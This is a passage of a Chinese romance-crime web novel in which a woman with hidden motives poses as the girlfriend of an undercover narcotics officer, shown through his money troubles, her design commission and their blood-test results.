梁然将架子上的药箱收起来,看了下垃圾桶里沾血的纱布,找出手套和打火机给烧掉了。 沈宗野诧异于她的镇静和处理。 那些纱布本来是等谢天明回来帮他处理。 梁然走到沙发前,坐到他身边,偏头靠在他肩膀上。 她在笑,红唇微抿,眼神温柔,等着他夸她。 沈宗野弯了弯薄唇,像撸猫咪一样摸了摸她脑袋。 他笑容越深,越觉得梁然这个女人不简单。 第48章 第48章没钱了 这几天里,他们之间好像格外亲密。 沈宗野会睡在梁然的房间,虽然依旧什么都不做。 梁然知道,他也许只是在演戏,想做给盯梢的人看。 她这几天把附近留意了个遍,也实在没发现哪里有盯梢。 这样持续了五天后,沈宗野在一个早晨从她卧室里起床,拉开窗帘伸伸双臂。 阳光落在床上,梁然在这束光里慢悠悠睁开眼。沈宗野正转过身,他在笑:“盯梢的人走了。” “啊,是吗?”梁然起身光着脚去抱他。 “可是这样你是不是就不来我房间睡了?” 沈宗野并不解释,只是说:“我得去公司看看。”他推开这个拥抱去换衣服。 梁然也不失落,反正这人的世界实在难以闯入。有现在这么一点浅薄的信任,对她来说也够用了。 沈宗野离开后,梁然在房间里给梁悦打起视频电话。 她有好多天没再联系过梁悦,昨天晚上梁悦拨来视频时她正和沈宗野呆在一起,急忙挂断了。 周末梁悦还在睡懒觉,她从被子里冒出小脑袋,迷迷糊糊喊姐姐。 梁然笑起来,想起了小时候的梁悦,她的妹妹就是最可爱的。 梁悦瞌睡醒了大半,翻身抱着抱枕和梁然叽叽喳喳聊天。她的眼睛和梁然长得不像,是一双又圆又亮的小鹿眼,干净可爱。她问梁然怎么穿着睡裙,不冷吗。梁然说室内的暖气不冷。梁悦眼睛一亮,问她地板暖和吗。 从前他们一家人也去过更北边的城市旅游,梁悦喜欢光着脚跑在酒店的地板上,看落地窗外呼呼地刮大雪。 梁悦又问起梁然很多话,很关心她,小鹿眼睁得大大的,又有些黯然地说:“姐,我好想你啊,昨晚我梦到你了,梦里我抱着你睡,还像小时候那样,可你昨晚都没有接我电话。” 梁然安慰起梁悦。 沈茹走的时候梁然15岁,梁悦六岁。 六岁的小朋友对死亡没有大人那么敏感,可梁悦知道她们的妈妈再也不会醒过来了,趴在沈茹身上死死不松手。 那段时间梁幸均要照顾她们姐妹俩,但却在失去灵魂伴侣的痛苦里一蹶不振。 梁然照顾着爸爸,又照顾着妹妹。 可以说她除了学习以外的全部时间都给了梁悦。 她很爱梁悦,梁悦是她唯一的亲人。 梁悦说:“姐,把你地址给我,我有礼物给你!” “又想送我什么礼物啊?” “班上有手工赛嘛,DIY一个礼物给爸爸妈妈,爸爸妈妈都不在我身边了,我就想着做给你,结果还给我评成一等奖了,老师也真是的,这么煽情干什么嘛。” 梁然一笑:“是你煽情吧。” “哪有啊,我就正常念灵感来源,创意初衷啊,非把我选成了一等奖。” 梁悦的声音有些颤抖,继续问梁然要地址,又带着一点小鼻音。 梁然知道她应该在哭。 也许是因为面对同学老师说出自己的灵感来源与创意初衷时,梁悦提到了她失去了爸爸和妈妈,从小被姐姐保护着长大。 梁然目光很安静,望着这间只存在她痕迹的房间,即便沈宗野在这里睡过很多天,也没有留下过一点他的痕迹。 这个男人很爱干净,衣服鞋子绝不乱扔,烟蒂会丢进烟灰缸,随手用过的东西都会放回原处,梁然实在在这间房里看不到他一点生活痕迹。 可他冷戾的样子刻在了梁然脑海里,也许只有等到他落网那天,这张冷戾的脸才会被抹去。 梁然说:“那肯定是你太优秀了,老师才给你评了奖。寄给我吧,我倒是很期待。” 结束通话后梁然也打开电脑处理一些线上的工作。 许久没再联系过的陈沥周又给她发来一条微信。 clz:「梁小姐,打扰你了,有时间的话想麻烦您再帮我看看这份作品怎么样。」 他发来一个链接。 梁然点进去,是一个私家园林的设计,她浏览完才回复。 梁然:「好像不是上次您问的那位设计师?」 clz:「不是,那位设计师帮我出方案了,和我预想中的还是有些差距,挺遗憾。」 梁然继续分析这份设计作品,给了陈沥周一些建议。 两人并没有过多深聊,以互相的客气结束了聊天。 这几天里,梁然没有再发烧,但吃东西时没什么胃口,不时还是会吐出去,阻断药的副作用实在太明显,她小腿肌肉依旧会觉得酸痛。 沈宗野回来的次数变少了。梁然会问他身体还好不好,他只回她还好,倒是大鱼说他在公司吃过午饭也吐了两回。 初冬的宁城以一种猛烈的方式降温,梁然在南方能穿的风衣完全抵抗不住宁城的冷风,下楼时本来想走去她住的那家酒店,只能掉头回车库去开车了。 她之前订的酒店离沈宗野的公寓很近,梁然回来是来拆梁悦的快递。 梁悦寄来的礼物在今天到了,是用彩色铜版纸组装的别墅模型,模型的设计不亚于专业建筑师,所有铜版纸也都是由梁悦亲手剪裁后计算出的卡位,再动手组装,过程不啻于一场专业建筑。 梁悦很有天赋,梁然看着这个礼物笑了起来。 别墅模型有沈茹喜欢的花园,龙沙宝石爬满院子。有梁幸均喜欢的中式阁楼,有梁然喜欢的能从卧室滑到楼下大门的滑滑梯,当然也有梁悦自己钟爱的滑冰场。 梁然笑意温柔,用手机拍下照片记录下来,小心将模型收好。 她买了些水果和零食回到公寓。 沈宗野也刚回来,他站在玄关脱下大衣,为了不暴露手臂的伤,他这些天的穿衣风格都变得很板正,衬衫是偏小的码,穿在他身上格外显得宽肩窄腰,身材紧实。 他解着不太舒服的衬衫纽扣,往屋子里扫了一眼,皱起眉:“你买榴莲了?” “嗯呐。”梁然轻笑,“你不吃榴莲啊?” 收到梁悦的礼物,梁然的心情很好,格外有食欲,所以决定即便今天沈宗野作死了她也可以给他面子,可以笑脸相迎去忍耐。 沈宗野表情很淡:“那你赶紧吃完,天明不喜欢榴莲。” 梁然微愣,还以为是他不喜欢呢。 虽然对他的一切都是假的,但他这么说的确让她觉得扫兴。 “所以我没天明重要是吧。” 沈宗野看她一眼,薄唇边依旧是放肆惯了的哂笑,他似乎懒得跟她解释,进了他那间房。 梁然说:“你看对面是不是有人在监视我们?” 沈宗野背影一顿,转身顺着她的话朝窗外望去。 他并不迟钝,视线搜寻的几秒后就知道梁然是什么意思。 沈宗野不耐烦地解着衬衫纽扣,嗓音懒洋洋的:“你要这么想我也没办法,但我没这意思。” 梁然原本想着等他们回来了一起开榴莲。 她直接徒手掰开,套上大衣去阳台上吃。 谢天明刚推开门就被扑面而来的榴莲熏得直接作呕。 “呕……” 气味实在上头,谢天明他直接退了出去,狠狠拉上房门。 梁然很想笑,实在憋不住了才哈哈笑出声。 刚才的郁闷一扫而空。 沈宗野已经换了慵懒的家居服出来,见到只有梁然一个人,又听到谢天明在门外“卧槽卧槽”的痛呼。 阳台推拉门被梁然关着,落地窗也被她敞开一扇通风,她裹着大衣戴着手套,在那里边吃边笑。 风吹起她的头发。 沈宗野走到阳台,冷气直扑,完全没有室内暖和的温度。 榴莲肉很饱满,颜色是熟得刚好的金黄,他拿起一个吃。 梁然:“你能吃啊,哈哈哈为什么天明不能吃,不会是你吃的时候从来没叫他吧。” 沈宗野没什么表情,只是吃完了手上的一小块,又拿起一块稍微大一点的。 梁然:“我第一次也不能吃,但是后面越吃越觉得好吃,而且最近例假快来了,我得吃点补补气血。” 沈宗野:“第一次吃是什么时候?” “五六岁吧。” “哦,这么小,爸爸妈妈买的?” 梁然差一点说漏嘴,她笑:“不是,我家小时候很穷,能吃饭就不错了,哪有钱买水果。在别人家蹭的。” “是么,看不出来,像你这么漂亮的女孩子,一看就应该被宠着长大。”沈宗野视线没看她,只顾着吃东西,好像这些话都是随口一提。 梁然也随口一编:“如果是这样就好了,我也想体验一把家境优渥,被宠着长大。不过我虽然家境不好,但我还是蛮幸运的,遇到很多贵人,成就了现在的我,我很感谢他们。” 沈宗野说:“那真幸运,那你改天拜访贵人的时候告诉我,我准备一份礼物。” 梁然笑着,很会接话:“你都没送我礼物呢。” 沈宗野挑眉:“才买的包。” “那天晚上在医院你不是弄坏我一个包嘛。”梁然说,“再赔我一个。” 沈宗野有这么一刹那,是实在没套梁然话的心情了。 他刚刚问那些是想套梁然底细,想多了然她,不知道向邬道是不是她口中这个贵人。 赔包确实赔不起。 梁然一个包就要五万,沈宗野那天刷卡时别看表面那么淡定,实际透支了信用卡才刷出来。说实话,他那时有一瞬间的肉痛,他没在商场消费过这么贵的单品,这些钱花给队里多好。 这次案子卧底的经费早就耗得差不多了,云肖还亏了他几十万。这几天网店没什么进账,退款订单比新增订单都多。索性能算勉强维持下去,沈宗野才一直拖着没向上级申请经费。 他这细微的表情被梁然看出来。 “你不会是没钱了吧?公司那些订单没有入账吗?” “你别管了,喜欢包过几天给你买。” 沈宗野这几天让谢天明和云肖查在查轻松一号,这药在宁城的确卖得很好。 但队里也在查,南方这药卖得更好。 轻松一号含有微量的甲基。安非。他明和一种兴奋神经中枢的化学剂,还含有其他几种微量的化学成分,已被列为新型毒。品。 王局又翻出几个旧案,调查后发现案件中的几个死者对此类毒。品至少都有三年的服食史,其中包括一个被封杀的演员,一名死在演唱会舞台上的流行歌手,A市一名高考状元。 死亡原因有心梗、心室颤动诱发的呼吸衰竭,和精神兴奋诱发的失控行为。看似剂量减轻的新型毒。品,可其危害程度不亚于一代。 能把这几人的案子跟轻松一号联系在一起实在不容易,毕竟偷偷购买此类违禁药严重触犯法律,他们自己也不敢追责自爆,队里费了功夫才把轻松一号从这些案件中挖出来。之前沈宗野让王局辐射到境外范围,队里向上反映了,暂时还没有关于轻松一号境外的线索。 沈宗野掏了笔钱给云肖,让他去找出宁城贩卖轻松一号的货主,这又是一笔不小的开支,沈宗野没心思把钱浪费在其他事上。 梁然没有生气,好像真是看出他没有钱了,笑了笑安慰他:“你不会现在是低谷期吧?很多人做事业都会遇到点难关,低谷期也不要紧,会触底反弹的。别担心,我会陪在你身边。” 她说:“都会好起来的,我相信你啊,沈宗野。” 沈宗野抿起薄唇。 谢天明用衣袖捂着鼻子开门进来:“卧槽,还在吃!” “你也吃上了!” 谢天明看见的就是梁然和沈宗野在一堆榴莲里相视微笑,彼此望着对方的眼睛,眼神都他妈演得很深情。 “你们俩口味真重!” 这一幕,谢天明后来记了很久。 第49章 第49章“我舍不得你难过啊。”…… 梁然在第二天给沈宗野转了二十万过去。 沈宗野早起正要出门,从他的卧室里出来,身上依旧是稍微紧身的衬衫,面料勾勒出腹部壁垒起伏的肌肉线条,他正将大衣挽到手腕,拿出手机才看到梁然这笔转账。 梁然不在客厅,她房间的门紧闭。 沈宗野敲响房门。 梁然:“怎么,现在倒这么绅士了,还要敲门才进来。” 沈宗野便直接打开房门。 梁然还没起床,有些刚醒的样子。她似乎有意凹出造型,侧身单手支着下巴,细长白皙的双腿交叠,脚趾上的甲油像一颗颗熟透的车厘子,笑吟吟地看沈宗野。 宁城总是晴天,洒进房间的阳光穿透软薄的睡裙,朦胧地勾勒出她起伏的身体曲线。 客观来说,这种透光勾勒出的身体线条更具有魅力。可惜沈宗野只当眼前一幕都是在办案。 办案的时候,警官怎么可能会对罪犯产生兴趣。 但沈宗野微微笑着,眉梢轻挑:“怎么给我转这么多钱?” “我舍不得你难过啊。”梁然说,“看你低谷期,我很担心你。世界上谁都可以伤心,可是你不能。” 沈宗野勾起唇。 梁然继续说着。 “我不知道你以前的女朋友是怎么和你相处的,对我来说,我只想看到你开心的样子。你这么好,她们居然舍得骗你,真的很为你难过。” “沈宗野,我永远都会陪在你身边。” 话说到这里,梁然深深看着他。 而沈宗野不表示什么也说不过去。阳光渡着的女人这么美,还是他名义上的女朋友,他再敷衍那就是不专业了。 沈宗野走到床边,俯身捏住梁然的下巴,她被迫仰起脸。 沈宗野吻她的嘴唇,梁然保养得很好,她的唇是绵软的,可惜沈宗野每次都觉得像在亲一条蛇。 他笑:“不知道说什么,还从没女人对我这样。” “那等你事业上升了可以帮我多买几只包包吗?” 沈宗野点头。 梁然很聪明,该深情的时候深情,该退的时候也懂得及时退,她让沈宗野去公司忙,多注意身体。 两个人在这场虚情假意里各自忙起自己的事。 公寓里只剩梁然了。 她将上次拍到的视频保存在云端,又登陆起企业微信,处理起工作室的几个项目。虽然远程能做的不多,但也不算是把全部压力都给了乔思嘉。 陈沥周今天又给梁然发来消息,这次倒不是请她帮忙分析建筑作品了,而是询问她有没有认识的有创意的年轻设计师。 陈沥周说他最近找的那些古典建筑师设计的东西实在太像古城景区了,虽然经典但是板正规矩,没有人能住的气息。 梁然看着他的文字笑了起来,这人明明已经很急了,但话里却带着几分幽默。 Zahe:「你妈妈以前有说过她喜欢的建筑类别吗?我帮你找找。」 clz:「她没有具体说过,已经很多年了,我那时候很小,印象不多,她只说过秋天坐在院子里能看到池水被风吹皱,水里映着落日,有树叶落下来,猫在亭子里抓蝴蝶。」 这段文字似乎没什么具体的建筑概括。 梁然接触各种各样的甲方,大概知道陈沥周要表达的思想,可能在陈沥周心里是想还原当时听妈妈讲故事的那种温馨的感觉。 她问:「方便问一下你妈妈是什么时候离开的吗?」 clz:「有很多年了,那时我七岁。」 梁然明白了,他想要的应该就是记忆中的感觉。 难怪这么多设计师他都不满意,是没有找到这种感觉。想把感觉还原成实体建筑,这太难为乙方了。 clz:「我妈妈以前提到的应该是苏州的园林建筑,我很喜欢苏州这个地方,找过一个设计师,可惜他的作品有些经不起推敲,我有些犹豫。」 梁然:「不是很明白?」 陈沥周说这个设计师作品有抄袭的嫌疑,所以他犹豫用不用。梁然便去认真看了这人的作品,的确有很多能和国内大师撞到的地方。 梁然和陈沥周聊着,两人已经不像最开始那样互相称呼“您”,说话变得随和很多,没那么多礼貌客气。 陈沥周:「梁小姐,你最近还是很忙吗?」 梁然:「还好,工作室有几个项目。」 陈沥周:「那你要回南城了?那走之前我请你吃个饭吧。」 梁然:「不用,我暂时远程处理一些工作。」 陈沥周:「线上处理吗?」 他很快又发来一条消息问她方不方便接听电话。 梁然回复方便。 陈沥周拨通了她号码。 “梁小姐,如果你方便线上处理工作,那能不能再次考虑一下我?” 青年语气很诚恳:“我不会耽误你太多时间,也不会催促你,你可以忙完你们工作室的项目再做我的,反正我只是个私人单子,而且如果你担心工作室忙不过来,直接给我图纸就行,我可以自己找建筑团队……” 他说了很多,连设计费都承诺多付三倍,一个私家园林已经快赶上顾儒海给的丰厚了。 听着青年诚恳的嗓音,梁然有些心动了。 一方面这个设计委托是为已故亲人,意义与传统商业不一样。 另一方面是陈沥周之后都没有来打扰过她,是实在找不到了才再次提出来。 短短几秒钟的无声里,陈沥周没有催促,安静地等她答复。 梁然说:“你确定远程就好?不是我不负责任,而是我确实没有那么多面对面沟通的时间。” 陈沥周很爽快地答:“当然,有图纸我可以自己去找建筑团队。你这是答应了,谢谢你梁小姐!”他笑起来。 梁然弯起唇:“那我既然都是这个项目的设计师了,怎么也得把工程揽到我们自己的团队。” “没问题。”陈沥周嗓音愉悦,“我会按刚才的承诺来付这笔设计费,你那边出合同吧。” “稍后我让我助理联系你。三倍倒是不必了,显得我多黑心……” 陈沥周低笑:“没关系,为你的履历上多添一笔,我觉得是我荣幸的事情。” 梁然微笑起来。 她喜欢对方的情商。 乔思嘉本来还对梁然这么久不回南城有些疑惑,现在又有了一个新项目,倒是不再奇怪梁然怎么还在宁城呆着了。 梁然这几天专心扑在陈沥周的项目上,白天等沈宗野出门后她便也换到她之前在附近订的酒店,她在这里包月了。酒店里无人打扰,她根据陈沥周的想法在画草图。 这几天她都没和陈沥周见面,谢绝了他想请她吃饭的邀请,两人都在线上保持联络。 梁然把整体的框架画好,给陈沥周拨了视频电话。 屏幕里,陈沥周依旧穿着最简单的衬衫,内搭依旧是干净的白色T恤,有一种朝气的青年感。梁然将镜头对准平板屏幕,放大草图。 “你先看一下有哪些要修改的地方。” 陈沥周仔细浏览,问起她专业性的问题,梁然认真作出解答。 陈沥周:“拱桥上的小阁楼是50厘米?高度是不是标错了?” “没标错,这是个猫窝。”梁然用电容笔随手勾勒出一只圆滚滚的猫咪,“你不是说阿姨提过有猫咪嘛,这里,这里,还有墙头,我都预留了猫咪玩耍的地方。你不满意?” “没有,我很满意。”陈沥周有些意外的惊喜,继续浏览设计图询问梁然他不懂的地方。 他们聊着聊着,敲定完整体,梁然开始画出室内的轮廓。 陈沥周有些想笑。 梁然看见,手上的笔没停,淡淡问他:“你笑什么?” “我觉得你很敬业。” 梁然微微挑眉:“我敬业,你作为甲方还不高兴啊。” 陈沥周莞尔。 这几天的沟通过去,他们好像没有最初那样客气,关系比正常的甲乙方要再熟络一点,但又一直没见过面,算是熟络中又有原始的陌生。 陈沥周看了下电脑上的时间:“梁小姐,不如先吃晚饭吧,四点了,你方便的话我开车来接你吃个饭。” “不用了,那今天先到这里吧。”梁然把视频切换到前置,对陈沥周说,“你先忙。” 陈沥周敛了笑,在她将要挂断时说:“那我给你订个餐,辛苦了。” 梁然婉拒了,打完招呼结束了视频电话。 她灵感来了,想把图画好,继续低头忙碌,直到房间的门铃响起。 梁然有点被打扰的挫燥,起身去开门,是酒店服务生推着送餐车,客气地说她订的餐机器人肚子里装不下,由他们送上来。 服务生身后跟着穿燕尾服、戴白色手套的侍者,朝梁然恭敬地说:“梁女士,餐已送达,祝您用餐愉快。” 不用问梁然便知道是陈沥周。 餐具上的LOGO是家会员制餐厅,沈宗野没这个品味,也订不起这么昂贵的餐。 但梁然没觉得被尊重到,相反,她有一种隐私被窥探的生气。 服务生将餐送进房间里,轻轻为她带上房门。 梁然拨通陈沥周的电话:“你怎么知道我住的酒店?” “那会儿我们视频沟通的时候,你的镜头照到了窗外,我看见了对面的大厦。”陈沥周很坦然,有些不好意思地请她见谅,他眼神有些紧张,似乎没感受到她的惊喜,反而是质疑。 “梁小姐,我没有别的意思,如果唐突到你了我向你说声抱歉。” 梁然抬头看了眼落地窗,对面大厦的字体的确在这个方向,她虽然无意防备陈沥周,但介意肯定是有的。 她选择远程完成这个项目,是不希望把陈沥周卷进这个泥潭里,怕被沈宗野这个大坏人盯上。 梁然说:“你的心意我领了,但作为女性我确实觉得有被冒犯到,希望我们今后的合作里不会再发生这种不愉快。” 陈沥周镜片后的眼睛充满歉疚。 他说:“不好意思,今后不会了。我也感谢你能直言,实在抱歉。” “餐不错,闻着很香。”毕竟是她的甲方,梁然表达完自己的立场,也知道该说什么圆场。 陈沥周这才如释重负露出一点笑意。 梁然说:“谢谢你的餐,再联系。” 梁然吃过饭才离开酒店。 公寓里黑漆漆的,客厅里透着窗外照进来的一点微光。 梁然打开灯,沈宗野竟还没有回来。 梁然给他拨去电话,沈宗野还在公司里。 今夜的风很大,树枝被风吹得像在跳舞。 梁然问:“要我来接你吗?” 沈宗野淡淡说:“用不着,你脚好了?” “还是好疼呢。” 沈宗野说:“好好休息。” 梁然:“嗯,记得早点回来,阻断药要按时吃,我在家等你。” 沈宗野淡淡应下她,挂了电话。 第50章 第50章“我遇见你,就像注定一…… 郊区的夜格外宁静。 远处铁轨上传来火车长长的呜鸣。 工厂里亮着灯,云肖他们在加班打包订单。 沈宗野坐在二楼的办公室里听着王局的电话。 老万死了。 被捕后宁城警方与南城警方联合办案,将老万送进定点医院进行看守与审讯。 老万两次想逃,都被24小时看守的警员按住,第三次策划逃跑时,他用了自残行为,谁知因为身体的疼痛喘不上气,抢救无效,死于呼吸骤停。 毒贩的嘴向来是最严的,以往被捕的毒贩几乎百分之九十都是零口供。 老万这次也一样,他只有在临终前呼吸困难时,才对看守的警员说“救救我,我不想死,我什么都说”。 队里从他几个手下的供词里起获出一批藏匿的毒。品,因为数量严重超过死刑的标准,几人下场可想而知。 在逃的姜义还是没有落网。 王局问沈宗野董自新这边有没有线索,沈宗野说:“暂时没有,但他对我没再监视。” 王局沉吟:“你们俩保护好自己吧。” 王局话里的意思是担心姜义会找沈宗野和谢天明麻烦。 毕竟最开始姜义就怀疑过是沈宗野在怂恿老万,而姜义的行踪那么隐蔽,竟然与老万在两地同时被捕,毒贩本就多疑,姜义必定想查到底是谁泄密。 王局问沈宗野还有什么需要汇报。 沈宗野说没有了。 他本来是想汇报一下经费已经不够用。 索性梁然的二十万加上公司账上的钱,尚还可以支撑一段时间。 时间流逝得很快。 半个月过去,沈宗野这笔钱也花得差不多了,但云肖还是没接触到宁城贩卖轻松一号的货主,花出去的一笔笔钱只是买到一颗颗彩虹色小药丸。 沈宗野回到公寓,晴朗的午后,梁然在阳台画画。 画板前的人穿着长到脚裸的薄纱睡裙,裙摆绕在地板上,垂散的长发有逆着太阳的金色眩光,这一幕很像误闯入公主的城堡。 沈宗野一直都觉得,如果不是发觉梁然动机不纯,她的伪装真的算是很高级的伪装。 沈宗野走到梁然身后,画板上是蓝布缎一样的天空和金色太阳,但是画风有些抽象,水彩晕染得像梦核。 沈宗野叼着烟:“小区的景色也能让你有画画的心情?” “有啊。”梁然没回头,只是笑着说,“画画需要的是心境。我心态坦然,心情愉快,所以想动笔。” 天空之下的高楼还没有勾勒,梁然回头看沈宗野:“忘了问过你,你的微信名字为什么叫绿野?” “你问输入法。”沈宗野神情慵懒。 梁然抿唇笑了笑,她显然不信沈宗野。 但是她微微偏着头,有些少女的凝思,语气愉快:“我想一想,嗯……是一片绿色的草地吗?” “那我画一片草地吧!” 她开始把高楼勾勒成了草地。 沈宗野转身坐到沙发上,并不在意梁然画什么,只是说:“明天去医院做检查,你一起吗?” 阻断药在今晚过后就能停药了,可以去医院做血检了。 梁然:“我明天得去甲方那里一趟,我忙完工作自己去医院吧。” 梁然也一直牵挂着这件事,只是不想跟沈宗野一起去,因为她怕他记下她的身份信息。为了接近他,她连身份证都不敢随身带在包里。 沈宗野没说什么,懒洋洋把烟杵灭。 梁然在第二天去了顾儒海那里后便直奔医院。 一路上的担心肯定是有的,尤其是等待结果的过程,漫长的几个小时过去,索性她的结果是阴性。 梁然整个人松了口气,将结果拍照发给沈宗野,给他打去电话。 “你的结果怎么样?” 沈宗野说:“跟你一样。” 梁然:“谢天谢地。” 她心情愉快,但是忽然又想,沈宗野是什么结果跟她有什么关系,她犯不着为他担心。 可也不对,他如果真的没成功阻断病毒,那她和他接触也算高危人群啊? 真是便宜他了。 梁然开车去了沈宗野的公司。 大鱼又做了好吃的,在拉着云肖他们试菜。 梁然刚到,大鱼便也把她拉到厨房,请她尝尝新的手艺。 菜是佛跳墙,做这道菜要费很多功夫。 梁然双眼明媚,说:“味道很棒,这是我喜欢的菜。” 大鱼得了她的夸张,比什么都高兴。 梁然放下筷子转身时,忽然有一种被盯住的感觉。她循着这股感觉打量,只发现靠墙蹲着的李浩。 李浩和云肖一样高挑偏瘦,但不像云肖手臂有充满力量的肌肉,他整个人更单薄阴郁,病恹恹的颓懒。尤其是望着梁然的那双眼睛,灰沉沉却又兴味昭昭,像恶犬。 梁然以为是她的错觉时,李浩已经丢下烟头,起身朝她哈腰喊声“嫂子”,进了仓库去忙。 梁然不确定刚才那短短一瞥的感觉,隔着烟雾,不知道是不是她看错了,但这个人显然也不是什么好东西。 她上楼去了沈宗野的办公室。 夕阳装点着整个房间,霞光睡在桌面,沈宗野坐在那一团逆光里,见到她来,懒洋洋抬起眼。 他关了电脑,起身说:“工作忙完了?” “嗯。” “你脚好了吧。” 梁然挑眉:“又想赶我走?” 沈宗野笑吟吟的,但这种漫不经心的笑让梁然恨得牙痒痒,又只能同他含笑调情。 “天明睡沙发脊椎要断了。”沈宗野说。 梁然还是不高兴,但嗓音软下来:“那你总得求我一下吧。” 沈宗野似笑非笑,他站在她身前,高大身躯挡住了窗外投来的夕阳,梁然的脸一半陷入阴影中,一半明媚娇嗔。 沈宗野抬起她下巴,轻轻笑起,嗓音低沉:“老子不会求人。” 梁然被迫这样仰着脸,睫毛眨着:“那你哄我一下总会吧。” 沈宗野失笑,挑挑眉亲昵地握她的腰,鼻尖触碰到梁然耳骨,嗅着她的味道。 “真拿你没办法,等我赚了大钱买个大别墅,把你锁在里头,床都不许下。” 沈宗野没恋爱经历,也不想正经哄梁然,这句话他说完觉得还蛮恶心。这是沈宗野审案子时犯人交代的,当时沈宗野和谢天明觉得变态极了。 他漆黑的眼眸肆无忌惮。 梁然睫毛颤动,脸颊蔓延开一层薄红,给他一记白眼。 但她还是圈着他的腰,埋在他肩膀上:“我总觉得这一切像冥冥之中注定一样。” “什么?” “医院那晚,我们受伤,一起吃药,一起挨过那些恐慌的日子。”梁然闭着眼睛说,“我遇见你,就像注定一样。不管你能喜欢我多久,和你在一起的每一天我都会深深记在心里,不会忘记。” 在感情上,的确是女性要细腻得多。 沈宗野说不出这像梁然这些感人肺腑的话,他拍了拍梁然肩膀,心头的敷衍只有他自己知道:“我也是。” …… 他们回到公寓后,谢天明说帮梁然把行李送去酒店,怕她一个人不方便。 梁然在这住了28天,28天里也没去逛几次街,可衣服鞋子包包都已经塞不下了。 沈宗野要给上级回工作电话,一直在等梁然收拾完走人。 但他耐心很好,反正酒店也近,他说:“还有什么要带的,这个给我。”他接过梁然拎出来的那些包。 梁然拍拍手:“没事,你们不着急,反正这么近,几趟就拿完了。” “还分几趟?”谢天明找出一个搬家纸箱,“我直接一趟给你搞定,我办事嫂子放心!” 梁然弯起红唇,转身去开门,脚步愉悦。 但她却不是往电梯间走,而是走到靠右边的对门,那户前段时间在装修的人家。 她用指纹刷开房门。 “放进来吧,我在这儿租了房子。” 谢天明没绷住,笑生生定在脸上,转头看沈宗野。 沈宗野脸上如常,只是有些意外地挑眉:“你把这儿租了?” “嗯啦。” “为了我?”他眼神深邃,有些感动。 谢天明闭了嘴巴。 演技真好。 难怪年纪轻轻就是省厅一次次表彰的精英! 这出神入化的演技,这副充满性张力的身材和一张脸,不去闯娱乐圈可惜了。 谢天明拉住梁然刚才推出来的小推车,将一车衣服生无可恋地推向对面房门,背着梁然对沈宗野用食指比出他们默契的那个暗号。 真行。 梁然悠哉地靠着门等他们把东西都搬好。 “带你们参观一下我租的房!” 谢天明:“我记得才一两个月啊,之前过来装修的还是个男的?” “那是装修团队嘛。”梁然是特意全权委托了装修公司,就怕沈宗野提前知道会赶她走。 “这屋子原先是装修好的,我就没有装别的,只是把两个房间打通,装了一个室内滑滑梯。”梁然眼神示意着客厅里的滑滑梯。 两室一厅的房子被她改成一室,高度不够就用空间来凑,滑梯被她设计出蜿蜒的坡度,整体显得更适用了,空间也不会局促。 滑梯尾端顺着靠玄关的墙,梁然走到尽头的步梯上,从顶端坐着往下滑,一骨碌滑到尾端。 “很好玩的。”她从滑梯上站起来,明艳的脸上多了一点稚趣。 有时候沈宗野会觉得梁然是一个琢磨不透的人。 她身上的气质很矛盾,例如此刻这种带着少女的纯真。 梁然笑着示意他:“你上去试试。” 沈宗野浮起笑,很配合。 他试着从高处滑下来,滑梯蜿蜒绕出一个圈,将他送到梁然脚边。 梁然哈哈笑出声。 谢天明看得蠢蠢欲动,也跟着跑上楼梯去坐,梁然紧跟他后面又滑了一圈。 她喊沈宗野:“再玩两圈啊。” 沈宗野是有些心痒,谁能拒绝在充满暖气的屋子里穿着短袖玩滑梯。 不行,他得端着,他不能被梁然勾起任何一点真实情绪。 沈宗野:“我不玩了,你们玩。” 谢天明已经再次跟在梁然后面,从透明的水晶滑梯上笑哈哈地往下滑。 梁然这次站起来后就拽起沈宗野跑向滑梯:“你不喜欢吗?那你陪我们再玩一圈吧,就一圈!” “真的很好玩,小时候我家太穷了,我总是只能看别人这么玩,我就发誓,我长大了一定要拥有这种快乐。”梁然编着满嘴胡话,但滑梯带给她的快乐是真的。 她拉着沈宗野的手,先把他推上滑梯,看他在蜿蜒的滑梯上终于弯起薄唇,她才抿起笑跟着往下滑。 怎么去打动一个人? 当然是亦真亦假。 拥有一个家庭版滑滑梯,是梁然从小到大的经历,早就习以为常。梁幸均知道她有个怪毛病,没灵感时喜欢一遍遍坐滑梯发呆。而且她很懒,别墅太大了,她很喜欢直接从三楼滑向一楼客厅。所以她国内和国外的房子,梁幸均都帮她安装了室内滑滑梯。 沈宗野也喜欢玩这个。 梁然在他眼底看出来了,这双眼睛永远深邃、恣意,但这一刻似乎带了这么一点点人的味道。 “沈宗野,以后我们的家也装一个滑梯好不好?” 沈宗野低懒地回她:“好啊。”【你现在阅读的是魔蝎小说 moxiexs】 50-60 第51章 第51章他们的隐伏终于不再是孤…… 沈宗野从梁然家里离开。 回到公寓,谢天明还对滑滑梯称赞有加。 “哥,你说梁然在乌鱼那里是什么地位?竟然这么有钱。” “不知道。” “她会不会也是乌鱼的情人之一啊?听说乌鱼很多情人。” “你怎么这么八卦。”沈宗野没有把梁然放在心上,自然也不会去八卦她有什么艳闻。他瞥了眼房门,说,“我得打个电话。” “知道。”谢天明去门外观察四周环境。 沈宗野在房间里拨给王局。 “叔,有一个好消息和一个坏消息,我先说哪个?” 听筒里瞬间安静,王局像是连呼吸都骤停了,素来稳重的语气透着紧张。 “你先说坏消息。” “我没钱了。” 电话那头明显传出松口气的吁声。 王局几乎已经能猜到沈宗野要说什么了,语气十八度大转弯:“现在说好消息!” “我血检是阴性。” “好小子,逗起我来了!回来我非得塞你吃红烧排骨塞到你撑为止!” 沈宗野低笑。 他生活里就是这样,在严谨中没有褪却少年的幽默。 王局关心沈宗野身体,又多问了几句才切回正事:“经费没了不早说,我早知道你们肯定不够折腾,我这就去写申请……” “叔,你先听我说。”沈宗野敛了笑,很快切入严谨状态,“董自新还不信任我,我想自己证明自己的能力,我这个没了主的小角色靠个网店就能源源不断进账,养活一帮人?我认为这不是一个毒贩该有的状态。” 王局隐隐听明白沈宗野的意思。 沈宗野分析得很对,他目前是个微不足道的小角色,没了贩毒收入就靠个网店,规规矩矩把一票弟兄养活了? 那他要么真有经商天赋,是天纵奇才,要么就能忍能规矩,不触发一丝法律。 不管是两者哪一种,那他显然太不像一个毒贩了。 沈宗野:“我自己把钱搞出来吧,我搞搞诈骗?” “你安排个自己人,开家公司,找我谈项目,把经费这么转趟手。” 电话里传出王局拍桌子的声音:“成,真有你的!要不怎么说你是咱新一辈的精锐呢,你这脑子我都要跟不上了。这主意问题不大,我马上去安排!” 